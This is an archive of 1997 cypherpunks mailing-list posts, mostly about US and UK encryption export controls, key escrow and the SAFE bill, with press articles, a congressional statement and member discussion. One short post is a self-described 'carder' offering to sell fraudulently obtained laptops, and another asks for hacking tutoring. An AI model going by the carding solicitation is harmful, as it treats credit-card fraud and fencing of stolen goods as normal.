                  group of encryption experts, said an attempt   On The Wi res
                  to prevent users from getting access to
                  uncontrolled encryption products would result  [*] = L ink to
                  in substantial sacrifices in security and
                  cost.                                          our
                                                                 tech
                                       The Clinton               encyclope dia
                    -------------------administration, advised   for more
                    "We have to        by the U.S. National      info.
                    question the       Security Agency (NSA),    [Image]
                    wisdom of          wants to be able to
                    introducing        continue monitoring the
                    weaknesses into    communications of
                    our national       potentially hostile
                    infrastructures."  countries or groups. To
                    -- Ross Anderson   do this, it wants to
                    Cambridge          prevent these groups from
                    University         using unbreakable
                    -------------------encryption programs.

                  This policy, dubbed Offensive, means the U.S.
                  government insists on maintaining strict
                  controls over the export and use of
                  encryption to ensure that hostile governments
                  and groups don't get access to strong         [[Image]
                  encryption tools.

                  But this NSA-backed policy on restricting the
                  spread of strong encryption software has held
                  back the development of secure commercial and
                  governmental communications networks in
                  Europe, Anderson said.

                  Civilian communications networks whose
                  security has been weakened as a result of
                  U.S. policy include the Europewide Global
                  System for Mobile Communications telephone
                  networks, commercial banking networks, and
                  television broadcasting.

                  "We have to question the wisdom of
                  introducing weaknesses into our national
                  infrastructures," Anderson said. Europeans
                  are going to have to take more control over
                  industrial aspects of encryption, he said,
                  and develop policies with less input from the
                  people in the Pentagon.

                  "In the long term, the United Kingdom and its
                  European partners have to start thinking
                  carefully about the defensive vs. offensive
                  aspects of this business, Anderson said. "The
                  time is right for a fundamental realignment
                  of resources in this field."

                  Restrictions on encryption use mean the
                  British Patent Office has to use a weak form
                  of encryption when communicating with its
                  counterparts overseas, Anderson said. "They
                  use the size of keys I give to my students to
                  break as exercises," Anderson said.

                  The result is that highly confidential
                  information, including very valuable details
                  of intellectual property, can be intercepted
                  and decoded, he said. [TW]

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e$, 44 Farquhar Street, Boston, MA 02131 USA
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 21 Sep 1997 05:24:50 +0800
To: cypherpunks@toad.com
Subject: Guardian: Screw the Internet
Message-ID: <v03110707b049ebbe74b4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




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Date: Sat, 20 Sep 1997 14:15:00 -0400
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From: rah-web <rah@shipwright.com>
Reply-To: rah@shipwright.com
MIME-Version: 1.0
To: Robert Hettinga <rah@shipwright.com>
Subject: Guardian: Screw the Internet

http://go2.guardian.co.uk:80/theweb/874505219-crypt.html

 Content-Type: text/plain; charset=us-ascii; name="874505219-crypt.html"
 Content-Disposition: inline; filename="874505219-crypt.html"
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 LAA08197


    [Image]

   Spooks on both sides of the Atlantic are intent on retaining their
   power to monitor the world's telecoms traffic, writes Duncan Campbell
   Screw the Internet

      INTELLIGENCE AGENCIES in the US have stepped up their campaign to
      control the flow of information over the Internet, counterattacking
      an unholy alliance of civil libertarians and business chiefs who back
      the introduction of secure encryption technologies to protect
      personal privacy and commercial data online. Last Thursday in
      Congress, lobbying by the FBI and the National Security Agency won
      amendments to a draft pro-encryption law known as Safe (Security and
      Freedom through Encryption). The House Intelligence Committee
      replaced rights to sell effective encryption systems to the world
      with regulations to ban even US citizens from using them. The
      agencies and their political backers are now demanding that any
      American whose electronic communications cannot immediately be read
      by US intelligence should, after January 2000, face up to five years
      imprisonment. Furthermore, they want the US to use its political and
      industrial power to force the rest of the world to follow suit.

      Battle resumes in Washington a week today, when the likely more
      sympathetic House Commerce Committee will provide its review of the
      Safe law for Congress to consider. That done, Congessional leaders
      and the White House will have to negotiate which version of the Safe
      bill is to be taken ahead. If the new version of the bill succeeds,
      it will be illegal in the US to make or sell encryption systems
      unless the government can break the code and have "immediate access"
      to the contents of messages or phone calls.

      In Britain, the new government has soon to decide what line to take
      in this little-understood war that has almost paralysed the
      development of electronic commerce. Under pressure to formulate
      standards, New Labour has to decide if it wants to face the economic
      penalties of giving in to the spooks. If the secret agencies win, the
      losers will also be ordinary users of electronic commerce or e-mail.
      Without encryption to scramble the contents of messages, reams of
      Internet traffic can be read easily, not just by intelligence
      agencies, but by miscreants with direct access to the Net through
      routers or local area networks.

      E-mail is less secure than an ordinary telephone call, since ordinary
      telephone calls are connected "point to point" by a precise route
      rather than being broadcast between routers and into networks.
      Without encryption, e-mail containing sensitive private information
      or financial details, such as credit card numbers, can be read at
      numerous points as messages pass through the Net.

      This complex but fundamental issue for everyone in the information
      society has been made politically more difficult by an initiative
      launched in the dying days of the last government. Just before the
      election was called, the Department of Trade and Industry unveiled
      its version of the US system for ensuring that the government could
      read everyone's private communications.

      The DTI's version is a network of licensed agencies that would
      provide (and keep copies of) everyone's encryption codes, or keys. If
      sent a warrant, these Trusted Third Parties, or TTPs, would hand over
      keys at one hour's notice - a less demanding requirement than the
      latest US plans, but no less absurd or impossible to engineer, say
      Internet specialists. Plans to hold everyone's keys in central
      registries have also been slammed for creating a huge security
      threat, because everyone would be at risk if crooks were able to get
      into the central database.

      DTI officials were unprepared for the torrent of protest, abuse and
      reasoned objection that has arrived on their desks since early this
      summer. The former government's proposals have, it is understood,
      attracted not a single unqualified supporter. They were condemned out
      of hand by industry leaders, academics and civil libertarians alike.
      David Svendsen, head of Microsoft in the UK, says that "the DTI's
      plans are unworkable, unwieldy and unacceptable. Setting up a
      bureaucratic structure to regulate encryption services will isolate
      the UK from global electronic commerce. It will force us all to look
      elsewhere for barrier-free encryption technology, while UK plc will
      foot the bill."

      The battle in the US Congress follows setbacks for the intelligence
      agencies, which have been fighting to stop effective encryption
      systems from being exported. Classifying encryption software as
      "munitions", the US government banned the export of systems with key
      lengths (see Cracking the code, opposite) long enough to make them
      uncrackable. Thus, while Americans who use Web software browsers to
      make "secure" credit card purchases benefit from built-in encryption
      with strong 128-bit keys, Europeans have until now been permitted to
      use only weakened and insecure 48-bit keys.

      In August, the US government gave in to commercial pressure to relax
      restrictions, and non-US users of software to browse the Internet are
      already being offered upgrades to provide full 128-bit security. The
      catch, which is not being advertised, is that the licencees must
      provide the US government with backdoor access to the new systems.

      The extent to which this area of information technology has been held
      back is already remarkable. It's now 20 years since fundamental
      advances in mathematics created unique but simple new ways of
      encoding messages, known as public key cryptography, that did away
      with the need to exchange keys or codebooks before encrypted messages
      could be sent. In 1977, long before the Net reached its modern form,
      three mathematicians - Rivest, Shamir and Adelman - showed how to
      implement this revolution.

      Their RSA algorithm allows users to create separate "public" and
      "private" keys. To use a public key crytopgraphy system to, say, send
      a private message to OnLine, you would first obtain OnLine's
      published key. Many Net users (but not yet OnLine) publish such keys
      on their Web sites or in directories. You then scramble the message
      using the public key, and send it. The message can be decoded using
      only a matching private key, which only Online would have.

      The RSA algorithm is available for use on the Net, or for file
      protection, using a program called Pretty Good Privacy, or PGP, whose
      inventor, Colorado computer consultant Phil Zimmermann, is a Net
      legend. His reward for inventing PGP was not scientific accolade, but
      arrest and prosecution by the FBI. For having created PGP, he was
      accused of exporting munitions. Charges against Zimmermann were
      dropped only last year.

      Recognising that there could never be uniform international agreement
      to lock away cryptography as nuclear weapons are locked away,
      governments and information acquisition agencies have tended instead
      to attempt covertly to regulate encryption. This has taken the form
      of patent secrecy orders, attacks on research funding, the
      undermining of the international standardisation of cryptography, the
      harassment of inventors and commercial organisations, and legislative
      campaigns to restrict their work.

      In the shadows behind these events hide communications intelligence
      agencies - the US National Security Agency and Britain's Government
      Communications Headquarters (GCHQ). For 50 years, they have harvested
      intelligence from monitoring the world's international communications
      network. This activity is threatened by large-scale encryption.
      Historically, huge codebreaking resources have been used to try to
      break the codes of hostile states. But to use the same methods and
      resources against the mass of ordinary international communications
      would be costly and futile.

      The scale of NSA operations is staggering. Tens of billions of
      messages are intercepted every year. All international communications
      by satellite or undersea cable, and many domestic communications can
      be collected by taps or via satellite interception stations. GCHQ's
      interception station at Morwenstow near Bude, Cornwall, was built
      almost 30 years ago to spy not on the Soviets but on the West's
      international communications satellites, Intelsat.

      NSA's and GCHQ's electronic tentacles still reach round the world,
      and into the heart of Western policy making. Within the DTI, the
      director of technology policy and innovation, David Hendon, makes no
      secret that a substantial input to his work comes from GCHQ. At the
      European Commission, a former official of GCHQ's Communications
      Electronic Security Group, David Herson, has been steering EU policy
      on information security. Critics such as Ross Anderson, the computer
      security specialist based at Cambridge university, have accused them
      of being stooges for NSA.

      The DTI has hired consultants to summarise the responses to their TTP
      proposals, and hope to publish a summary in the autumn, together with
      policy proposals. The risk is that officials are still locked into
      the same Neanderthal security agenda that once branded the Home
      Secretary a subversive threat to the nation.

      Advice to ministers trying to understand this most complex part of
      the IT brief will need to balance the UK's national economic interest
      against the concerns of security officials anxious to maintain the
      intelligence service's "special relationship" with the US. Until last
      week's events, US attempts to control strong encryption had faced
      setbacks.

      Three weeks ago, a federal judge in San Francisco ordered the US
      government not to take action against Chicago academic Daniel
      Bernstein if he published encryption software on the Net. Export
      restrictions, said Judge Marilyn Patel, violated Bernstein's
      constitutional right to free speech. And US attempts to lobby the
      European Union and the OECD into backing an international system of
      cryptographic controls have failed. Despite US support from Britain
      and France, both organisations have backed and encouraged open use of
      cryptography (albeit with qualifications).

      The continued campaign against effective cryptography is still being
      fuelled by the raising of alarms about the potentially antisocial use
      of the Net, including those which Net enthusiasts cynically dub the
      "Four Horsemen of the Infocalypse": terrorists, drug traffickers,
      paedophiles and organised crime. But the argument is specious.
      Forcing honest individuals and companies to turn over their keys or
      to use only licensed keys will not prevent criminals from using
      strong encryption outside of the mandatory system. Labour's policy,
      formulated before the election, had it right : "It is not necessary
      to criminalise a large section of the network-using public to control
      the activities of a very small minority of law-breakers."
      (http://www.labour.org.uk/views/info-highway/content.html)

      Last year, EU adviser and ex-GCHQ official David Herson was
      astonishingly candid about the real reason for playing on

      fears about the Net activities of terrorists and paedophiles. "Law
      enforcement is a protective shield for all the other governmental
      activities," he told two European journalists. "We're talking about
      foreign intelligence . . . that's what this is all about. Law
      enforcement is a smoke screen."

      If New Labour sticks to the policy adopted before the election, it
      should have little difficulty reaffirming its view that attempts to
      control the use of encryption technology are "wrong in principle,
      unworkable in practice, and damaging to the long-term economic value
      of the information networks". But if intelligence agency dinosaurs
      get their way, they will jeopardise not just personal privacy but the
      economic rewards of Net commerce.

      The winners will be those countries, such as Germany and many of
      those in Asia, that by rule of law or through commercial instinct
      stay resistant to NSA's and GCHQ's intelligence imperatives.

      [Duncan Campbell is a freelance writer and broadcaster, and not the
      Guardian's crime correspondent of the same name]

      17 September 1997


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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 21 Sep 1997 07:47:59 +0800
To: cypherpunks@toad.com
Subject: FIPS for KMI
Message-ID: <1.5.4.32.19970920232746.008a35f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



It's worth looking closely at the Cryptography Key Recovery
System (CKRS) documents published recently as part of
the FIPS KMI program. A meeting is scheduled next
month.

See the listing of the August Meeting reports at:

   http://csrc.nist.gov/tacdfipsfkmi/

They show how far the key recovery program has advanced.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Sun, 21 Sep 1997 11:09:57 +0800
To: Christian Claborne <cypherpunks-announce@toad.com
Subject: Re: San Diego CPunk Physical meet this Thursday
In-Reply-To: <3.0.2.32.19970920154105.0099a2d0@cyberthought.com>
Message-ID: <v03102800b04a36c40bd7@[206.170.114.18]>
MIME-Version: 1.0
Content-Type: text/plain



You Might want to resend that with a corrected subject line. It says
Thursday while the body says Wednesday.

	-Lance

At 3:41 PM -0700 9/20/97, Christian Claborne wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>This Wednesday!!!
>
>   San Diego Area CPUNKS symposium  Wednesday, Sep. 24, 1997.
>
>   Topic:
>	What action do we take if the situation get's out of hand (See
>message below
>from Mark H. below).
>
>
>   It is my belief that any group, no matter how small, can accomplish great
>things if they apply themselves.  Cypherpunks are not just "users", they
>poses  several additional quanta of the stuff that enables creative thought,
>and skill.
>
>   Don't forget to bring your public key  fingerprint.  If you can figure out
>how to get it on the back of a business card, that would be cool.  If you
>want
>the suspicious crowd there to sign your key, bring two forms of ID.
>
>
>Place: The Mission Cafe & Coffee Shop
>       3795 Mission Bl in Mission Beach.
>       488-9060
>
>
>Time:1800
>
>Their Directions:
>	8 west to Mission Beach Ingram Exit
>	Take west mission bay drive
>	Go right on Mission Blvd.
>
>	On the corner of San Jose and mission blvd.
>	It is located between roller coaster and garnett.
>	It's kind of 40s looking building...  funky looking
>        (their description, not mine)
>
>They serve stuff to eat, coffee stuff, and beer + wine stuff.
>
>See you there!
>
>New guy, bring your fingerprint.
>
>Drop me a note if you plan to attend...
>
>
>      2
>  -- C  --
>
>
>- ------------------------
>Date: Fri, 12 Sep 1997 16:04:22 -0700 (PDT)
>From: Mark Hedges <hedges@infonex.com>
>To: all-at-infonex@infonex.com
>Subject: federal cryptography legislation
>Sender: owner-all-at-infonex@infonex.com
>
>- -----BEGIN PGP SIGNED MESSAGE-----
>
>A bill called "SAFE" (HR-695, "Security and Freedom with Encryption") in
>the U.S. House of Representatives would have allowed U.S. software
>companies to export strong cryptography, and would have promoted privacy
>in all U.S. communications. Cryptography is mathematical means of making a
>message secret. Now, this bill has been rewritten to introduce more
>restrictive cryptography legislation than ever before seen in the U.S.
>
>Public support for cryptography use and export is very strong, as
>evidenced by the California state legislature's unanimous vote 9/5/97,
>calling on Congress and the President to revise and relax export laws
>(SJR-29). Companies world-wide already produce strong cryptograpy
>software, and U.S. buisness is rapidly losing ground in the world-wide
>software and telecommunications market.
>
>The House National Security Committee this week voted to continue export
>restrictions in the SAFE bill and to install "key escrow" proposals of the
>defense and intelligence organizations. This would not only continue the
>status quo legislation, it would strictly regulate and restrict domestic
>use of cryptography, an unprecedented act.
>
>Key escrow legislation in SAFE would mandate government "back doors" in
>all communications software before the end of the millennia in the United
>States, imposing criminal penalties for use of secure cryptography.
>Effectively, every citizen would be required to give law enforcement
>involuntary and transparent access to all communications, including
>financial, business, and personal messages.
>
>Key escrow also exposes all U.S. communication to a single point of
>failure, which a hacker, spy, or corrupt official could exploit to gain
>access to all personal, industry, and financial information.
>
>More information is available in our most recent press release. Press
>releases can be viewed at http://www.anonymizer.com/press/.
>
>Please, call your congressional representatives and senators and encourage
>them to oppose restrictive legislation on cryptography and mandated
>government access to all communications. Names and phone numbers for your
>local legislators can be obtained from www.house.gov and www.senate.gov.
>
>Sincerely,
>
>Mark Hedges
>Anonymizer Inc.
>Infonex Internet Inc.
>
>- -----BEGIN PGP SIGNATURE-----
>Version: 2.6.2
>
>iQCVAwUBNBnJhBVo2SUWMp6NAQFyNQP/UuogfBfcjRw7q5rda8+1BrGkMEHpixau
>J7JfbhKyv5yWdPZsnh8F3m/kaUahLEaSdLCcmAJzbroKApGBjUtT6bRacOtVps3X
>TzZXLO2NZd4UBsksUC1f3WWnnRl8+03jiQMboSpBvUVmHqA1sFiz3OQpJVWv1yge
>jEEk7R2Maeg=
>=VrfI
>- -----END PGP SIGNATURE-----
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQEVAwUBNCRRAIP1MBWQ+9udAQHNuAf/Wf/vf7O7A3iZhd9BjlzyI0FvcOTelUOs
>5JhxXN0w86YWzoluZue8jY7uKmxGVuySdikQSw4OxLS5wZG05nByoIQlhlzLPYIl
>vrQuQZ0EeGIOycwS7IuNLFFyx+C1E7HxcdX0UR3qMDgEiiFb09DlcuDHeSp52RZW
>s6t7AFR7ZoVz28KanihgDRQdk9QTw0HuaZV3hHNl11610HaPURRe4SX7zgR1cHAf
>naoTZI70GqVoUVYVrm+oVHln7HsdFqnrO/1GAVpLzKpEnzfT9C0d0o7T4t/WX4CM
>yeeO2UZUwfg01VyCHORpFYbx1SrFlW4rZNZqOJMP2lA2cNDZBsLrhg==
>=/sWk
>-----END PGP SIGNATURE-----
>
>                              ...  __o
>                             ..   -\<,
>Claborne@CYBERTHOUGHT.com    ...(*)/(*)._ Providing thoughts on
>					  your computing needs.
>http://www.CYBERTHOUGHT.com/cyberthought/
>PGP Pub Key fingerprint =  7E BF 38 3F 24 A7 D1 B0  54 44 96 AA 10 D0 5D 51
>Avail on Pub Key server.  PGP-encrypted e-mail welcome!
>Dreams.  They are just a "screen saver" for the brain.


----------------------------------------------------------
Lance Cottrell   loki@infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alexis <demara@geocities.com>
Date: Sun, 21 Sep 1997 11:33:05 +0800
To: cypherpunks@toad.com
Subject: info
Message-ID: <342492B4.2C8E@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Can anyone help me out or tutor me in Hacking, phreaking, 
cracking, and cryptography, I know that you need to know all for to 
become a good hacker, I also heard that you guys don't mind teaching 
others. THanks
Alexis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FARTNOC69@aol.com
Date: Sun, 21 Sep 1997 08:39:50 +0800
To: cypherpunks@toad.com
Subject: hey
Message-ID: <970920203001_-1598407374@emout19.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



well i am a carder well i cant card because i have used all  of my drop
sites.. i can sell laps 4 top dollar so get back 2  me if  u need some one 2
sell stuff!l8erz





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 21 Sep 1997 14:26:51 +0800
To: cypherpunks@toad.com
Subject: Re: Rep. Loretta Sanchez Hits Crypto Controls
In-Reply-To: <1.5.4.32.19970921022246.00895f40@pop.pipeline.com>
Message-ID: <3.0.3.32.19970920211528.006d6024@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>               SUPPLEMENTAL VIEWS OF HON. LORETTA SANCHEZ
....
>    I would also like to state for the record that for the
>reasons stated above, I do not support the Dellums-Weldon
>Amendment to H.R. 695, and would have voted against it.
>                                                   Loretta Sanchez.

A very pleasant flame by Rep. Sanchez.  It's unlikely that her
predecessor Bob Dornan would have been on our side....

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 21 Sep 1997 10:44:45 +0800
To: cypherpunks@toad.com
Subject: Rep. Loretta Sanchez Hits Crypto Controls
Message-ID: <1.5.4.32.19970921022246.00895f40@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The Sanchez statement is from House Report 105-108, Part 3, 
published September 12 by the National Security Committee, 
which describes the Weldon-Dellums amendment to SAFE.

See the full report at:

   http://jya.com/hr105-108-pt3.htm

The report includes a cost estimate by the Congressional 
Budget Officefor implementing SAFE. However, as far as
I can tell, the estimate does not include the cost of a GAK
system, and covers only the cost of export controls. Thus,
it appears to be vastly misleading.


               SUPPLEMENTAL VIEWS OF HON. LORETTA SANCHEZ


    Many of us when we think of encryption imagine the
``ENIGMA'' code breaking machines of World War Two or the
American Indian ``code talkers'' that helped us anticipate and
defeat Nazi and Imperial Japanese attacks. Those methods were
mechanical or human-based, and often depended on simple
arithmetical slight of hand to trick the enemy. Today,
encryption is complex mathematical algorithms that have become
an entirely new branch of mathematics involving intense
academic study.
    Until recently encryption was limited to governments and
large companies through U.S. export limitations and by the
limitations of existing hardware and software technologies. All
that began to change as the desktop computer became more
prevalent and the computing power available to the average user
jumped by leaps and bounds every year. When discussing the
power of the PC observers of the information technology
industry often predict that the computing power of
microprocessors would double roughly every 18 months.
    Because of this the rapidly developing speed and growth of
computers, the age of the ``unbreakable code'' has long since
passed. Manufacturers of encryption technology are engaged in a
rapidly accelerating race to develop the newest and strongest
code that can withstand attacks from the increasingly powerful
computers of the day. And it isn't just big companies and
governments that have the technology to break codes. Last
January, a graduate student broke a 40-bit code in just three-
and-a-half hours, the toughest code form American companies at
the time were allowed to export.
    Today, American companies are the world leaders in
encryption technology, but other companies and nations are
catching up. Strong encryption products and knowledge about the
science of cryptography is not limited to the United States. A
savvy computer user anywhere in the world can with just a few
clicks of the mouse find U.S. export-embargoed encryption. Many
freelancing code hackers maintain off-shore Internet meeting
sites to discuss the newest holes in encryption products.
    The proposed export controls which the Administration
argues helps to keep strong encryption out of the hands of
foreign adversaries will have little or no effect. Strong
encryption is available abroad and US companies are being put
at a competitive disadvantage in the global marketplace.
    With this bleak and seemingly hopeless picture in mind how
do we protect ourselves from the threat of rogue nations and
other adversaries cloaking their communications from American
National Security efforts? The only viable solution is through
supporting a robust and aggressively competitive cryptography
industry in the United States. We must ensure that the United
States continues to maintain the deepest pool of cryptographic
experts in the world. American export limitations will only
serve to create a brain drain of these precious resources as
leading scientists leave our shores for more lucrative and
accommodating surroundings.
    All of us care about our national security and no one wants
to make it any easier for criminals and terrorists to commit
criminal acts. But we must also recognize encryption
technologies as an increasingly sharp double-edged sword. It
can also aid law enforcement and protect national security by
limiting the threat of industrial espionage and foreign spying,
but only when Americans are able to produce the sharpest swords
and the strongest encryption.
    I would also like to state for the record that for the
reasons stated above, I do not support the Dellums-Weldon
Amendment to H.R. 695, and would have voted against it.


                                                   Loretta Sanchez.

----------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Warpy <warpy@sekurity.org>
Date: Sun, 21 Sep 1997 16:02:24 +0800
To: FARTNOC69@aol.com
Subject: Re: hey
In-Reply-To: <970920203001_-1598407374@emout19.mail.aol.com>
Message-ID: <Pine.LNX.3.96.970921014157.1738A-100000@obscure.sekurity.org>
MIME-Version: 1.0
Content-Type: text/plain



@aol.com says it all really...

Warpy

---------------------------------------------------------------------
| http://suburbia.com.au/~warpy                                     |
| Key Fingerprint: 85 17 4A E3 0C C5 BB 24  36 22 BB A6 E8 41 D5 95 |
| Email: warpy@sekurity.org                                         |
---------------------------------------------------------------------
On Sat, 20 Sep 1997 FARTNOC69@aol.com wrote:

> well i am a carder well i cant card because i have used all  of my drop
> sites.. i can sell laps 4 top dollar so get back 2  me if  u need some one 2
> sell stuff!l8erz
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 21 Sep 1997 16:05:12 +0800
To: cypherpunks@toad.com
Subject: Re: Are we men or mice?
In-Reply-To: <Pine.SUN.3.96.970912184035.23828A-100000@beast.brainlink.com>
Message-ID: <3424D062.68D1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



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=wraS
-----END PGP MESSAGE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Sun, 21 Sep 1997 14:59:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Self-Prohibition List
In-Reply-To: <199709150232.VAA00600@smoke.suba.com>
Message-ID: <34270d10.54361003@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



>> List of things you should prohibit yourself from putting in writing
>> in a GAK'ed Universe:
>> 1. You're Jewish.
> 2. Your Sexual Predeliction, other than straight-missionary. 
 3. You are a member of the Cypherpunks.

-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Sun, 21 Sep 1997 14:59:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The problem of playing politics with our constitutional  rights
In-Reply-To: <97Sep15.121816edt.32259@brickwall.ceddec.com>
Message-ID: <34280d41.54409218@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 15 Sep 1997 12:18:51 -0400, you wrote:

>On Mon, 15 Sep 1997, Lucky Green wrote:
>
>> At 04:36 AM 9/15/97 GMT, Douglas L. Peterson wrote:
>> >Ok, we write code.  But as James S. Tyre pointed out, if the code is
>> >too difficult to use it will not be.  And as Declan pointed out
>> >many/most people will not use the crypto if they must think about it.
>> >
>> >Writing the code is no longer enough.  The code must be usable by the
>> >sheeple to work.  How do we do that?
>> 
>> Write better code.
>
>I can think of many examples of very bad code that is difficult to use but
>is very popular, an obvious one is that Apple wrote better code than MS.
>
>Even most sheeple rely on whatever is built in to MSWord or Excel than on
>PGP, so on that basis there is *NO* existing example of such code.
>
>So, not only do cypherpunks have to write code, it has to be better
>quality than Apple, with more marketing push than Microsoft.  And it must
>do something useful so they also have to invent a new application that
>would justify using the crypto it contains. 
>
>All while they do something else to pay for things like food and heat. 
>
>At this point it is easier to write laws.
>

No.  Just difficult.  Look at the rise of Linux and Free/Net/OpenBSD.  They are
slowly making it into the mainstream (I found a copy of RedHat Linux and
InfoMagic Linux for sale at a CompUSA last week).

Linux was slow to take off because it is an OS and difficult to learn from
scratch.  If we make programs for mainstream (Windows, MacOS, OS/2) that are
VERY easy to use, do somthing everyone wants, and are free (with source code), I
think they will take off.

-Doug
-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Sun, 21 Sep 1997 15:07:56 +0800
To: Ray Arachelian <cypherpunks@Algebra.COM
Subject: Re: Are we men or mice?  Re: House panel votes behind closed doors to build in Big Brother (fwd)
In-Reply-To: <Pine.SUN.3.96.970912184035.23828A-100000@beast.brainlink.com>
Message-ID: <34290f24.54892816@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Sep 1997 19:15:15 -0400 (EDT), you wrote:

>On Fri, 12 Sep 1997, Declan McCullagh wrote:
>
>> We have a goddamn right to use encryption without a government backdoor.
>
>Frankly among certain crowds many backdoors and other bugs have been
>detected in most OS's, how will the mother fuckers keep them from being
>found and used?  I mean, all you have to do is simply get their attention
>and have them snoop on you, meanwhile you watch all the packets and record
>the weird ones and you've got a copy of their session.  Yeah, they may use
>crypto on the back door, but even so, you now know their formats, and can
>also disassemble the code.  When you do, you've got the hole and can
>publish it. 
>
>Once you publish the hole and break the program.  Who will have confidence
>in that program after it's broken?
>
>After the evil laws, our jobs will be to break ALL GAK'ed software.  How
>will they prevent that?  Passing more laws to make the exposure of bugs
>and holes illegal?  Sort of like the cell scanner laws? :)
>

They (the government) has already tried to do this by trying to pass laws that
would make reverse engineering illegal.  I remember reading about a bill in
congress earlier this year that would have done just this.  I don't know the
status of it (I didn't get the bill number).

-Doug
-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Sun, 21 Sep 1997 21:30:31 +0800
To: cypherpunks@toad.com
Subject: L.A. Police Being Armed w/M16s by Defense
Message-ID: <199709211314.IAA18448@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain



According to a Reuters article today, the LAPD have been issued 600 
M16 assault rifles that were supplied by the US Defense Dept.
-----

 Police Chief Bernard Parks said the guns will be assigned to
 specialized units and used ``in very unique situations.'' 

-------



#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 21 Sep 1997 23:44:29 +0800
To: cypherpunks@Algebra.COM
Subject: US Senate bans laptops
Message-ID: <3.0.2.32.19970921083724.0071d9d8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



According to an article in Saturday's San Francisco Chronicle, the US
Senate's Rules Committee denied a junior Senate member's request to bring
his laptop to the floor. Aparently, the Rules Committee believes that
laptop use is incompatible with the hallowed nature of Senate debates.

Diane Feinstein is cited as saying that she strongly opposes laptops in the
Senate. She warned that if laptops were permitted, as many as 30-40 of the
100 members of the chamber might start using laptops (while making vital
decisions about the future of this nation).

The article also stated that mechanical pencils and wrist watches have
however been permitted since the early 1900's.

These people banning laptops amongst their peers are the same people who
will decide on the future use of crypto by the masses.

Give it up. Any dollar spent lobbying these Luddites is a dollar wasted.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sun, 21 Sep 1997 21:59:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: cipe - encrypting IP tunnel, version 0.5.2
Message-ID: <199709211352.JAA28771@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




-- forwarded message --
